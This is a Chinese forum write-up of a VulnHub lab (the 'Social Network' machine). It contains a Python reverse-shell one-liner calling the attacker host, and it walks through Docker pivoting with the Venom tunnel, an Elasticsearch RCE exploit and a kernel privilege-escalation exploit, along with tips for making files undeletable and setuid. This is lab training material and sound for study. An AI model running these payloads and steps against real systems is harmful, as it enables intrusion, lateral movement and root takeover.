靶机下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
攻击机:kali2022.2
由于靶机和攻击机都使用nat连接,所以可以直接arp扫描发现
arp-scan -l
靶机ip为10.0.3.5
nmap -p- -sV 10.0.3.5
发现5000端口开了web服务,且用python2编写的系统.
浏览器访问
发现是一个聊天室,简单的手动测试后并未发现明显漏洞。继续对web服务进行信息收集。
dirsearch -u http://10.0.3.5:5000
返回结果发现/admin目录
得知输入框内的值会被代码执行,尝试python代码反弹shell,上网找一个。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
此处的坑:网上找的刚刚开始一直吃不到shell,要把python -c删掉,然后还过滤了’,要把前后的引号也去掉。然后以后贴代码最好用编辑器或者topyra里插入代码块在贴进去,我一开始用的word估计也是自动给你编排了格式
之后查看id发现为root权限,ls又发现了目录里有dockerfile,怀疑拿下的是docker容器的系统,并没有拿下sudo机器。之后ls /.dockerenv
,发现有这个文件存在,确认猜想。
获取ip->端口扫描->web信息收集->漏洞利用反弹shell->拿到docker容器root权限
思路:想办法从docker容器的隔离中跳出来,拿到sudo机器的权限。
ip a
查看daocker容器ip172.17.0.3for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
存活主机为172.17.0.1/2/3,其中0.3为docker容器的内网ip。
由于大部分收集工具在kali机上,所以需要在kali机和靶机的内网之间搭建一条隧道。
使用工具venom(已上传到附件)
现在这个文件夹打开一个终端
运行服务端./admin_linux_x64 -lport 7777
开启一个http服务,在容器机用wget把客户端下进去,根据信息收集,这里选择使用agent_linux_x86,为了方便后面操作,改名为shanque。
在此文件夹再打开一个终端,python3 -m http.server 80
开启web服务
在容器机下载客户端wget http://10.0.3.4/shanque
给执行权限chmod +x shanque
这里再补充两个好玩的指令chattr +i shanque
锁定文件,root删不掉chmod +s shanque
每次都以管理员权限运行
我这里是自己运行的靶机就用不到
连接kali机 ./shanque -rhost 10.0.3.4 -rport 7777
show,查看服务端
goto 1 进入节点
socks 1080 启动一个socks监听
给kali机挂上代理vi /etc/proxychains4.conf
拉倒最下面,修改两个地方
对刚刚发现的172.17.0.1/2两台存活的主机进行扫描proxychains nmap -Pn -sT 172.17.0.1
扫出来是不是似曾相识的感觉,猜想172.17.0.1就是10.0.3.5这台sudo机器的内网ip。
把浏览器挂上代理,访问5000端口看看
一毛一样,确认猜想。
那么还剩一台172.17.0.2容器系统可以利用,扫描->发现漏洞->利用漏洞->最终拿到172.17.0.1sudo机的root权限。不然就寄。proxychains nmap -Pn -sT 172.17.0.2
9200端口发现,上网搜一搜。
9200作为Http协议,主要用于外部通讯。
一般都是给ElasticSearch-Head等工具连接ElasticSearch使用的。
中奖,说明这个服务存在漏洞,找找expsearchsploit Elasticsearch
两个rce,先把利用脚本复制过来,然后一个个试。cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
vim 36337.py
查看以后发现是python2写的脚本python2 36337.py
利用格式为python2 36337.py 172.17.0.2
proxychains python2 36337.py 172.17.0.2
不太行,注意这里有大坑。我在这卡了四天(反反复复重新开隧道,重启靶机,重装靶机系统,换一个kali系统,换到virtualbox虚拟机都试了)最后才知道,Elasticsearch这个服务要先有数据,才能被攻击。
解决办法,先给一条数据给它
proxychains curl -XPOST '172.17.0.2:9200/twittter/user/yren' -d '{"name":"shanque"}'
再执行exp
敲id成功出现root权限,芜湖~
信息收集,发现有password,打开有用户名和对应的hash值
拿到账号密码
john 1337hack测试过只有这一个能登陆,正常要把所有的账号密码都拿出来一个个试。
靶机ip:10.0.3.5 开了22端口 openssh
内有两个容器:
1.docker 内网ip172.17.0.3,web服务,rce
2.elasticsearch,内网ip172.17.0.2。Elasticsearch,RCE
3.172.17.0.1,靶机的内网ip,账号密码已经拿到
ssh john@10.0.3.5
用户为普通用户
目标系统使用的3.13版本的内核searchsploit linux 3.13
发现很多可以利用,挑选拷贝一个cp /usr/share/exploitdb/exploits/linux/local/37292.c .
查看发现是c语言的源码,要用gcc来编译
并且发现它本身还会再次调用gcc来编译一次,意味着就算在kali上编译好了丢进去执行还是会出错。
解决方案:修改源码,不让他二次调用gcc编译,而是直接在kali上找到编译好的
ofs-lib.so这个二进制库文件让它去读取。
首先把涉及到编译库文件源码的都删掉
再在kali机上进行编译gcc -o shanque 37292.c
编译好的expshanque已经生成,要执行还要配合ofs-lib.so这个文件
拷贝过来cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
然后启动http服务,把这两个都丢到目标sudo机上面去
挪到tmp目录下
给执行权限shanque,然后执行
提权成功
至此打靶训练结束
理一下过程
1.靶机发现:ip10.0.3.5
2.全端口扫描5000,22
3.应用扫描web,openssh
4.web服务访问,没有发现漏洞
5.目录扫描,/admin
6.远程rce,反弹shell,拿到root权限
7.发现处于docker容器,内网存活主机探测
8.内网穿透,venom使用
9.存活主机全端口扫描,确认172.17.0.1为sudo机器,在172.17.0.2发现9200端口,搜索利用exp远程rce,拿下elasticsearch机器的root权限
10.password文件发现密码,解密,ssh登陆sudo机,内核漏洞提权。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 60.00 | 0 | 2022-05-27 19:07:42 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
Venom.v1.1.0.7z 文件大小:5.534M (下载次数:3)
© 2016 - 2024 掌控者 All Rights Reserved.
小小李白
发表于 2022-5-29
主打什么方向啊你
评论列表
加载数据中...